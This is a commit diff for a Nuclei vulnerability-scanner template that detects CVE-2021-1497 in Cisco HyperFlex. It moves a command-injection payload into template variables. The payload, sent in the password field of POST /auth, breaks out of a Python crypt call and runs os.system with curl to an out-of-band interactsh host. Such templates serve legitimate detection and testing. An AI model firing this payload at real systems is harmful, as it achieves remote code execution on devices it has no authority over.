Merge pull request #7450 from projectdiscovery/princechaddha-patch-6

Fixed CVE-2021-1497

http/cves/2021/CVE-2021-1497.yaml

@@ -19,12 +19,14 @@ info:
     cve-id: CVE-2021-1497
     cwe-id: CWE-78
     epss-score: 0.9751
-  tags: cisco,rce,oast,kev,packetstorm,cve,cve2021
+  tags: cve,cve2021,cisco,rce,oast,kev,packetstorm,
   metadata:
     max-request: 2
 
 variables:
   useragent: '{{rand_base(6)}}'
+  cmd: 'curl http://{{interactsh-url}} -H \"User-Agent: {{useragent}}\"'
+  payload: '123",""$6$$)); import os;os.system("{{cmd}}");print(crypt.crypt("'
 
 http:
   - raw:
@@ -34,7 +36,7 @@ http:
         Accept: */*
         Content-Type: application/x-www-form-urlencoded
 
-        username=root&password={{url_encode('123\",\"$6$$\"));import os;os.system(\"curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'\");print(crypt.crypt(\"')}}
+        username=root&password={{url_encode(payload)}}
 
       - |
         POST /auth HTTP/1.1
@@ -42,7 +44,7 @@ http:
         Accept: */*
         Content-Type: application/x-www-form-urlencoded
 
-        username=root&password={{url_encode('123\",\"$6$$\"));import os;os.system(\"curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'\");print(crypt.crypt(\"')}}
+        username=root&password={{url_encode(payload)}}
 
     matchers-condition: and
     matchers: